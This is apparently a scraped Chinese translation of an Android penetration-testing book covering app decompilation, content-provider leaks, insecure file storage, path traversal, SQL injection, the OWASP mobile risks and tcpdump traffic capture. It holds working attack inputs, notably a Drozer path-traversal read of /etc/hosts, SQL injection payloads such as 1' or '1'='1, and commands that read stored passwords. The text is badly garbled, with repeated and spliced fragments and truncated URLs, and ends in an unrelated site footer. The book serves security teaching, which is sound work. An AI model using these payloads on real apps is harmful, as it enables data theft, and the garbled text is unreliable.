文件,如下面的截圖所示:.dex正如我們在上面截圖中看到的,dex2jar已經(jīng)成功地將應(yīng)用程序的 文件轉(zhuǎn)換為名.dexhelloworld-dex2jar.jar.jarhttp://jd.benow.ca/為 的 文件?,F(xiàn)在,我們可以在任何Javahelloworld-dex2jar.jar.jarhttp://jd.benow.ca/.jarJD-GUI)中打開此.jar
文件,JD-GUI可以從其官方網(wǎng)站
下載。JD-GUI.jar在這里,我們現(xiàn)在可以打開之前步驟中轉(zhuǎn)換的 文件,并查看JD-GUI中的所有.jar.jarFile|OpenJava源代碼。為了打開 文件,我們可以簡單地訪問 。.jarFile|OpenJavaJavaJava;但是,在某些情.jar況下,你可能會看到轉(zhuǎn)換的 文件中缺少某些代碼。此外,如果應(yīng)用程序開發(fā)人員使用.jarproguarddex2jardex2jarApktool反編譯應(yīng)用程序時,我們不會看到準(zhǔn)確的源代碼;相反,我們將看到一堆不同的源文件,這不是原始源代碼的準(zhǔn)確表示。ApktoolAndroid應(yīng)用.dex另一種逆向Android應(yīng)用程序的方法是將 文件轉(zhuǎn)換為smali文件。smali是一種文件格.dexJasminesmali文件格式。有關(guān)更多/p/smali/wiki/信息,請參閱在線wiki ,以便深入了解smali。/p/smali/wiki/ApktoolJD-GUI相比,Apktool的主要優(yōu)點(diǎn)是它是雙向的。這意味著如果你反編譯一個應(yīng)用程序并修.apk改它,然后使用Apktool重新編譯它,它能跟完美重新編譯,并生成一個新的 文件。然.apk而,dex2jar和JD-GUI不能做類似功能,因?yàn)樗峁┙拼a,而不是準(zhǔn)確的代碼。.apk因此,為了使用Apktool反編譯應(yīng)用程序,我們所需要做的是,將 文件與Apktool二進(jìn).apk制文件一起傳遞給命令行。一旦反編譯完成,Apktool將使用應(yīng)用程序名稱創(chuàng)建一個新的文件apktoold[app-name].apk夾,其中會存儲所有的文件。為了反編譯,我們只需調(diào)用 。這apktoold[app-name].apk-d里, 標(biāo)志表示反編譯。-d在以下屏幕截圖中,我們可以看到使用Apktool進(jìn)行反編譯的應(yīng)用程序:smalismaliJava類的代碼。在這里,我們還可以打開一個文件,更改一些值,并使用ApktoolsmaliApktool中b的 (build)標(biāo)志。bapktoolb[decompiledfoldername][target-app-name].apkapktoolb[decompiledfoldername][target-app-name].apkVirtuousStudio(VTS)ApktoolVTS提供了一Windows環(huán)境中運(yùn)//同一項(xiàng)目的應(yīng)用程序的屏幕截圖:
下載VTS。以下是反編譯Android應(yīng)用Android應(yīng)用程序通常包含許多安全漏洞,大多數(shù)時候是由于開發(fā)人員的錯誤和安全編碼實(shí)踐的無視。在本節(jié)中,我們將討論基于Android應(yīng)用程序的漏洞,以及如何識別和利用它們。內(nèi)容供應(yīng)器泄露定義了內(nèi)容提供者可以使用權(quán)限來訪問,否則任何其他應(yīng)用都可以使用應(yīng)用所定義的內(nèi)容供(URI)以便被識別content://和查詢。內(nèi)容提供者的URI的命名標(biāo)準(zhǔn)慣例是以 開始。content://AndroidAPI17AndroidManifest.xmlAndroidManifest.xmlApktool,并通過查看 文件檢查內(nèi)容供應(yīng)器。AndroidManifest.xml定義內(nèi)容供應(yīng)器的一般方法如下所示:<provider<providerandroid:name="com.test.example.DataProvider"android:authorities="com.test.example.DataProvider"></provider>所以現(xiàn)在,我們將舉一個漏洞應(yīng)用程序的例子,并嘗試?yán)脙?nèi)容供應(yīng)器泄漏漏洞:apktoold[appname].apkApktool程序。apktoold[appname].apkAndroidManifest.xml為了找到內(nèi)容供應(yīng)器,我們可以簡單地查看定義它們的AndroidManifest.xml
反編譯應(yīng)用文件,或者grep我們可以使用一個簡單的 命令,從應(yīng)用程序代碼中獲取內(nèi)容供應(yīng)器,如下所示:grepgrep我們可以使用grep
命令來查找內(nèi)容提供者,使用
。此命令將在每grep–R'content://'個子文件夾和文件中查找內(nèi)容供應(yīng)器,并將其返回給我們。grep–R'content://'Androidapp.apk裝易受攻擊的 文件:app.apk$adbinstallvulnerable-app.apk1869KB/s(603050bytesin0.315s)$adbinstallvulnerable-app.apk1869KB/s(603050bytesin0.315s)pkg:/data/local/tmp/vulnerable-app.apkSuccess我們可以通過創(chuàng)建另一個沒有任何權(quán)限的應(yīng)用程序來查詢內(nèi)容供應(yīng)器,然后查詢漏洞應(yīng)adb可以在以下命令中看到:adb
查詢內(nèi)容供應(yīng)器,我們adbshellcontentquery--uri[URIofthecontentprovider]adbshellcontentquery--uri[URIofthecontentprovider]以下是在漏洞應(yīng)用程序上運(yùn)行的命令,輸出展示了存儲在應(yīng)用程序中的注釋:MWRDrozerAndroid應(yīng)/tools/drozer/站/tools/drozer/agent.apk一旦我們安裝了它,我們需要將代理組件agent.apk
下載并安裝Drozer。安裝到我們的模擬器,它位于下載.zip的 文件內(nèi)。該代理是系統(tǒng)和設(shè)備相互交互所需的。我們還需要在每次啟動模擬器.zip31415時轉(zhuǎn)發(fā)一個特定的端口( ),以便建立連接。要在Mac和其他類似平臺上安裝設(shè)31415照https://照https:///system/assets/559/original/mwri_drozer-users-guide_2上提供的在線指南。一旦完成,我們可以啟動應(yīng)用程序,并單擊"EmbeddedServer(嵌入式服務(wù)器)"文本。DrozerDisabled的左上角切換按鈕啟用服務(wù)器。Drozer,并將其連接到模擬器/drozerconsoleconnect入 ,如下面的截圖所示:drozerconsolevider.finduri在這里,我們可以運(yùn)行 模塊來查找所有內(nèi)容供應(yīng)器,如下所示:vider.finduridz>runvider.finduricom.threebanana.notesScanningcom.threebanana.notes…content://vider.NotePad/notesdz>runvider.finduricom.threebanana.notesScanningcom.threebanana.notes…content://vider.NotePad/notescontent://vider.NotePadPending/notes/content://vider.NotePad/mediacontent://vider.NotePad/topnotes/content://vider.NotePad/media_with_owner/content://vider.NotePad/add_media_for_notecontent://vider.NotePad/notes_show_deletedcontent://vider.NotePad/notes_with_images/URIDrozervider.query運(yùn)行 模塊并指定內(nèi)容供應(yīng)器的URI,如下面的截圖所示:vider.query如果Drozer能夠查詢和顯示來自內(nèi)容供應(yīng)器的數(shù)據(jù),這意味著內(nèi)容供應(yīng)器泄漏數(shù)據(jù)并且存在漏洞,因?yàn)镈rozer沒有被明確地授予使用數(shù)據(jù)集的任何權(quán)限。為了修復(fù)此漏洞,開發(fā)人員需要做的是,在創(chuàng)建內(nèi)容供應(yīng)器時指定參android:exported=false數(shù)android:exported=false前必須請求它。
,或者創(chuàng)建一些新的權(quán)限,另一個應(yīng)用程序在訪問供應(yīng)器之不安全的文件存儲通常,開發(fā)人員為應(yīng)用程序存儲數(shù)據(jù)時,未指定文件的正確文件權(quán)限。這些文件有時被標(biāo)記為全局可讀,并且可以由任何其它應(yīng)用程序訪問而不需要請求權(quán)限。adbshellcd為了檢查這個漏洞,我們所需要做的是訪問 ,之后使用 進(jìn)adbshellcd/data/data/[packagenameoftheapp]入/data/data/[packagenameoftheapp]ls-l如果我們在這里執(zhí)行一個簡單的ls-l
。,就可以看到文件和文件夾的文件權(quán)限:#ls-l/data/data/com.aditya.example/files/userinfo.xml#ls-l/data/data/com.aditya.example/files/userinfo.xml-rw-rw-rw-app_200app_200 220342013-11-0700:01userinfo.xmlfind這里我們可以使用 來搜索權(quán)限。findfind/data/data/-perm[permissionsvalue]find/data/data/-perm[permissionsvalue]catuserinfo.xml如果我們執(zhí)行 ,它儲存了應(yīng)用的用戶的用戶名和密碼。catuserinfo.xml#grep'password'/data/data/com.aditya.example/files/userinfo.xml#grep'password'/data/data/com.aditya.example/files/userinfo.xml<password>mysecretpassword</password>序時指定正確的文件權(quán)限,以及一起計(jì)算密碼與鹽的散列來避免此漏洞。目錄遍歷或本地文件包含漏洞顧名思義,應(yīng)用程序中的路徑遍歷漏洞允許攻擊者使用漏洞應(yīng)用程序的供應(yīng)器讀取其他系統(tǒng)文件。此漏洞也可以使用我們之前討論的工具Drozer進(jìn)行檢查。在這里,我們用例子來說明由SeafastianGuerrero發(fā)現(xiàn)的AdobeReaderAndroid應(yīng)用程序漏洞)。此漏洞存在于AdobeReader10.3.1中,并在以后的版本中進(jìn)行了修補(bǔ)。你可以vider.finduriDvider.finduri
下載各種Android應(yīng)用程序的舊版本。模塊來查找內(nèi)容供應(yīng)器URI。dz>runvider.finduricom.adobe.readerScanningcom.adobe.reader...content://com.adobe.reader.fileprovider/content://com.adobe.reader.fileprovdz>runvider.finduricom.adobe.readerScanningcom.adobe.reader...content://com.adobe.reader.fileprovider/content://vider.read/etc/hostsURI,我們現(xiàn)在可以使用在vider.read/etc/hosts
搜索并利用本地文件包含漏洞和 ,它們默認(rèn)存在于/proc/cpuinfo所有的Android實(shí)例中,因?yàn)樗腔贚inux的文件系統(tǒng)。/proc/cpuinfodz>runvider.readcontent://com.adobe.reader.fileprovider/../../../../etc/hostsdz>runvider.readcontent://com.adobe.reader.fileprovider/../../../../etc/hosts localhost正如我們在下面的屏幕截圖中看到的,我們已經(jīng)成功地使用AdobeReader漏洞內(nèi)容供應(yīng)器讀取了Android文件系統(tǒng)中的文件??蛻舳俗⑷牍鬝QLite間,應(yīng)用程序正在解析用戶輸入,因?yàn)樗挥诓樵冋Z句中。SQLite此,當(dāng)用戶提供用戶名和密碼時,正在運(yùn)行的查詢將如下所示:SELECTSELECT*FROM'users'whereusername='user-input-username'andpassword='user-input-password'現(xiàn)在,在正常情況下,這將正常工作,用戶輸入其真正的登錄憑據(jù),并且查詢?nèi)Q于條件將truefalse返回 或 。truefalseSELECTSELECT*FROM'users'whereusername='aditya'andpassword='mysecretpass但是,如果攻擊者輸入SQL語句而不是正常的用戶名怎么辦?請參考以下代碼:SELECTSELECT*FROM'users'whereusername='1'or'1'='1'--andpassword='mysecretpassword1'or'1'='1因此,在這種情況下,即使用戶不知道用戶名和密碼,他們可以通過使用 查詢來1'or'1'='1true輕松繞過它,這在所有情況下都返回行適當(dāng)?shù)臋z查,來檢查用戶輸入。vider.query我們還可以使用Drozer的vider.query
。因此,應(yīng)用程序開發(fā)人員必須在應(yīng)用程序中進(jìn)來利用SQL注入漏洞。其語法看起來像:runvider.query[ContentProviderURI]--projection"*FROMSQLITE_MASTERWHEREtype='table';-runvider.query[ContentProviderURI]--projection"*FROMSQLITE_MASTERWHEREtype='table';--"SQLITE_MASTER現(xiàn)在,這將返回SQLite數(shù)據(jù)庫中整個表的列表,它的信息存儲在 中。您還可SQLITE_MASTER以繼續(xù)并執(zhí)行更多的SQL查詢,來從應(yīng)用程序提取更多的信息。為了使用Drozer實(shí)戰(zhàn)漏洞https://https:///products/drozer/community-edition/們的漏洞應(yīng)用程序。
下載他Web應(yīng)用程序開放安全項(xiàng)目(OWASP)是涉及安全和漏洞搜索的標(biāo)準(zhǔn)之一。它還發(fā)布了前10名漏洞的列表,其中包括在各種平臺中最常見和重要的漏洞。OWASP10OWASP移動項(xiàng)目,以下是它涵蓋的10個安全問題:服務(wù)端弱控制傳輸層保護(hù)不足意外的數(shù)據(jù)泄漏缺少授權(quán)和認(rèn)證無效的加密客戶端注入通過不可信輸入的安全決策不正確的會話處理缺乏二進(jìn)制保護(hù)讓我們逐一介紹它們,并快速了解它們在移動應(yīng)用程序中的關(guān)系,以及我們?nèi)绾螜z測它們:服務(wù)端弱控制OWASP漏洞是服務(wù)端弱控制,顧名思義,服務(wù)端不以安全的方式將數(shù)據(jù)從移動應(yīng)用APIAndroid應(yīng)用Web一個漏洞。不安全的數(shù)據(jù)存儲Android共享首選項(xiàng),SQLite(純文本格式)或外部存儲器中,存儲與用戶相關(guān)的私密信息或應(yīng)用程/data/data/package-name序信息。開發(fā)人員應(yīng)該始終記住,即使應(yīng)用程序在數(shù)據(jù)文件夾( )/data/data/package-name中存儲敏感信息,只要手機(jī)已root,惡意應(yīng)用程序/攻擊者就可以訪問它。傳輸層保護(hù)不足AndroidHTTP或沒有正確實(shí)SSL從應(yīng)用程序向服務(wù)器發(fā)送數(shù)據(jù)時操縱參數(shù),以及修改響應(yīng)來訪問應(yīng)用程序的鎖定區(qū)域。意外的數(shù)據(jù)泄漏當(dāng)應(yīng)用程序?qū)?shù)據(jù)存儲在本身易受攻擊的位置時,會出現(xiàn)此漏洞。這些可能包括剪貼板,DataStorageURL緩存,瀏覽器Cookie,HTML5 ,統(tǒng)計(jì)數(shù)據(jù)等。一個例子是用戶登錄到他DataStorage用戶剪貼板中的數(shù)據(jù)。缺少授權(quán)和認(rèn)證Android驗(yàn)證用戶。無效的加密這僅僅表示使用不安全的密碼函數(shù)來加密數(shù)據(jù)部分。這可能包括一些已知存在漏洞的算法,如MD5,SHA1,RC2,甚至是沒有適當(dāng)?shù)陌踩胧┑亩ㄖ扑惴???蛻舳俗⑷脒@在AndroidSQLite通過不可信輸入的安全決策在移動應(yīng)用程序中,開發(fā)人員應(yīng)始終過濾和驗(yàn)證用戶提供的輸入或其他相關(guān)輸入,并且不應(yīng)如客戶端注入。不正確的會話處理在為移動應(yīng)用程序執(zhí)行會話處理時,開發(fā)人員需要處理很多因素,例如認(rèn)證cookie的正常過期,安全令牌創(chuàng)建,cookie生成和輪換,以及無法使后端的會話無效。必須在Web應(yīng)用程序和Android應(yīng)用程序之間維護(hù)正確的安全同步。缺乏二進(jìn)制保護(hù)Apktooldex2jar之類的工具可Android應(yīng)用程序,如果沒有遵循正確的開發(fā)實(shí)踐,它會暴露應(yīng)用程序的各種安全ProGuardDashO等工具。總結(jié)AndroidDrozerAndroid/exploit-me//exploit-me/SecurityCompass開發(fā)。
親自嘗試Exploit-Me實(shí)驗(yàn)室中的各種漏洞,在下一章中,我們將進(jìn)一步嘗試Android應(yīng)用程序的流量攔截,并在我們的滲透測試中使用它。AndroidAndroid設(shè)備進(jìn)行流量分析PAGE51PAGE51第四章對Android設(shè)備進(jìn)行流量分析 作者:AdityaGupta譯者:飛龍協(xié)議:CCBY-NC-SA4.0Android應(yīng)用程序會在其網(wǎng)絡(luò)數(shù)據(jù)中泄漏敏感信息,因此發(fā)現(xiàn)它是滲透測試程序最重要的任務(wù)之一。Android設(shè)備中,各種應(yīng)用程序的流量。Android流量攔截根據(jù)OWASP移動),HTTP將用戶的登HTTPSHTTP的會話管理,并且在請求中傳遞身份CookieCookiecookie,他可以直接作為受害用戶登錄到應(yīng)用程序。流量分析方式Android被動分析:這是一種流量分析的方法,其中應(yīng)用程序發(fā)送的網(wǎng)絡(luò)數(shù)據(jù)不會被攔截。相反,我們將嘗試捕獲所有網(wǎng)絡(luò)數(shù)據(jù)包,然后在網(wǎng)絡(luò)分析器(如Wireshark)中打開它,然后嘗試找出應(yīng)用程序中的漏洞或安全問題。主動分析:在主動分析中,滲透測試者將主動攔截所有正在進(jìn)行的網(wǎng)絡(luò)通信,并可以即時分析,評估和修改數(shù)據(jù)。這里,他需要設(shè)置代理,并且由應(yīng)用/設(shè)備生成和接收的所有網(wǎng)絡(luò)流量會通過該代理。被動分析tcpdump是我們將在Android設(shè)備中進(jìn)行被動分析。我們將使用 來將所有的信息保存到設(shè)備tcpdumpWiresharkCocoa包分析/~timuralp/tcpdump-armtcpdump我們從Alperovich/~timuralp/tcpdump-armtcpdumptcpdumpARM編譯的tcpdump
的原始http://machi021.blogspot.jp/2011/03/compile-busybox-for-android.html二進(jìn)制文件并交叉編譯(Androidhttp://machi021.blogspot.jp/2011/03/compile-busybox-for-android.html
。鏈接展示了tcpdump交叉編譯BusyBox,但相同的步驟可以應(yīng)用于 )。tcpdumptcpdump一旦我們下載了 ,我們可以通過在我們剛剛下載的二進(jìn)制上執(zhí)行一個文件,來tcpdumpARMWindowsCygwintcpdump這里的下一步是將 二進(jìn)制文件推送到設(shè)備中的一個位置。我們還必須記住,我tcpdump們需要繼續(xù)執(zhí)行這個文件。因此,我們將它推送到一個位置,我們可以從中更改權(quán)限,以及執(zhí)行二進(jìn)制來捕獲流量。adbpush現(xiàn)在,繼續(xù)并使用 的 命令推送二進(jìn)制來將二進(jìn)制推送到設(shè)備。同樣,在我們adbpushpullpush需要從設(shè)備中拉取內(nèi)容的情況下,我們可以使用 而不是 。pullpushadbpush/data/local/tmp這里,我們將使用 將其推送到Android中的 :adbpush/data/local/tmpadbpushtcpdump-arm/data/local/tmp/tcpdumadbpushtcpdump-arm/data/local/tmp/tcpdumtcpdump一旦我們將tcpdump
二進(jìn)制推送到設(shè)備,然后需要使用
在shell中訪問設(shè)備,并更改adbtcpdump執(zhí)行權(quán)限。adbtcpdump
,它會給我們一個權(quán)限錯誤,因?yàn)槲覀儧]有/data/local/tmp為了更改權(quán)限,我們需要訪問/data/local/tmp
,使用
命令,并授予其權(quán)chmod777限 ,這意味著應(yīng)用程序?qū)⒕哂兴袡?quán)限。以下屏幕截圖顯示了上述命令的結(jié)果出:chmod777tcpdump這里的最后一步是啟動tcpdump
并將輸出寫入
文件。使用 , 和
標(biāo)志啟.pcap-s-v-wtcpdump動 。參考以下描述:.pcap-s-v-wtcpdump-s:這表示從每個封包抽取給定(在我們的例子中為0)字節(jié)的數(shù)據(jù),而不是默認(rèn)的65535字節(jié)。-v:這表明詳細(xì)輸出。output.pcap-w:這表明寫入原始數(shù)據(jù)包的文件名。例如,我們可以使output.pcap./tcpdump-v-s0-woutput.pcap用./tcpdump-v-s0-woutput.pcap詳細(xì)信息。
,以便將所有文件寫入
,并輸出/data/login.html在流量捕獲執(zhí)行期間,打開手機(jī)瀏覽器并訪問位于 漏洞登錄表單,該表單通過HTTP發(fā)送所有數(shù)據(jù)并使用GET/data/login.htmlandroid這里使用用戶名android
和密碼
登錄應(yīng)用程序。mysecretpasswordadbshell我們現(xiàn)在可以在任何時候通過 服務(wù)終止進(jìn)程(使用Ctrl+C)。下一步是將mysecretpasswordadbshelladbpull捕獲的信息從設(shè)備拉取到我們的系統(tǒng)。為此,我們將簡單地使用 如下:adbpulladbpull/data/local/tmp/output.pcapoutput.pcapadbpull/data/local/tmp/output.pcapoutput.pcapoutput.pcap令:output.pcap
的權(quán)限才能拉取它。在這種情況下,只需執(zhí)行以下命c(diǎn)hmod666output.pcapchmod666output.pcap一旦我們下載了捕獲的網(wǎng)絡(luò)數(shù)據(jù)的.pcapWireshark中打開它并分析流/download.html站 下載Wireshark。/download.htmloutput.pcapFile|Open開Wireshark并在里面打開我們新拉取的文件 ,通過訪問 。output.pcapFile|Open.pcapWireshark幕:.pcap
文件,我們會注意到一個類似下面截圖所示的屏Wireshark是一個開源封包分析器,它幫助我們發(fā)現(xiàn)敏感信息,并分析來自所有網(wǎng)絡(luò)連接
所做的請求,并輸入了我EditStringEditString
并單擊FindPackets。FindPackets
。在這里,我們需要查找我們提交登錄憑據(jù)的網(wǎng)/data/login.html在這里,我們可以看到與 的連接。/data/login.html窗格中查找有關(guān)此數(shù)據(jù)包的更多信息,我們可以看到包含我們輸入的用戶名和密碼的請求網(wǎng)址。tcpdump因此,我們使用 成功捕獲了網(wǎng)絡(luò)數(shù)據(jù),并將其存儲在.pcap文件中,然后使用tcpdumpadbshellWireshark進(jìn)行分析。然而,被動流量捕獲也可以通過 直接完成。adbshelladbshell/data/local/tmp/tcpdump-iany-p-s0-w/mnt/sdcard/output.pcapadbshell/data/local/tmp/tcpdump-iany-p-s0-w/mnt/sdcard/output.pcap-i-ptcpdump這里, 代表接口。在這種情況下,它從所有可用接口捕獲數(shù)據(jù)。 指定 不將-i-ptcpdumptcpdump設(shè)備置于混雜模式(這是在執(zhí)行嗅探攻
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 校內(nèi)活動安全知識培訓(xùn)課件
- 醫(yī)學(xué)基礎(chǔ)知識常考題(含答案)
- 2025年雇傭執(zhí)行經(jīng)理合同范本
- 醫(yī)療器械法規(guī)知識培訓(xùn)試題及答案(單體藥店或連鎖門店)
- 2025年VTE、傷口造口相關(guān)知識培訓(xùn)后考核試題及答案
- 樹木尋訪記探究課件
- 2025年山西省保密知識教育考試題(含答案)
- 2024年設(shè)備監(jiān)理師之設(shè)備監(jiān)理合同練習(xí)題一及答案
- 2024年事業(yè)單位考試南京A類《職業(yè)能力傾向測驗(yàn)》高分沖刺試題含解析
- 標(biāo)點(diǎn)符號的爭吵課件
- 眾辰變頻器說明書3400
- 《世說新語》乘船 完整版課件
- 施工現(xiàn)場安全檢查記錄表(周)以及詳細(xì)記錄
- 《財(cái)務(wù)管理》課程教學(xué)實(shí)施方案
- 煤礦地質(zhì)基礎(chǔ)知識課件
- 露天采礦設(shè)計(jì)技術(shù)規(guī)定
- 檢驗(yàn)科生物安全風(fēng)險(xiǎn)評估報(bào)告
- 西安市建設(shè)工程竣工驗(yàn)收備案表
- 數(shù)獨(dú)比賽六宮練習(xí)題96道練習(xí)
- 大學(xué)體育四——啦啦操的教學(xué)設(shè)計(jì)
- 原始點(diǎn)療法PPT課件
評論
0/150
提交評論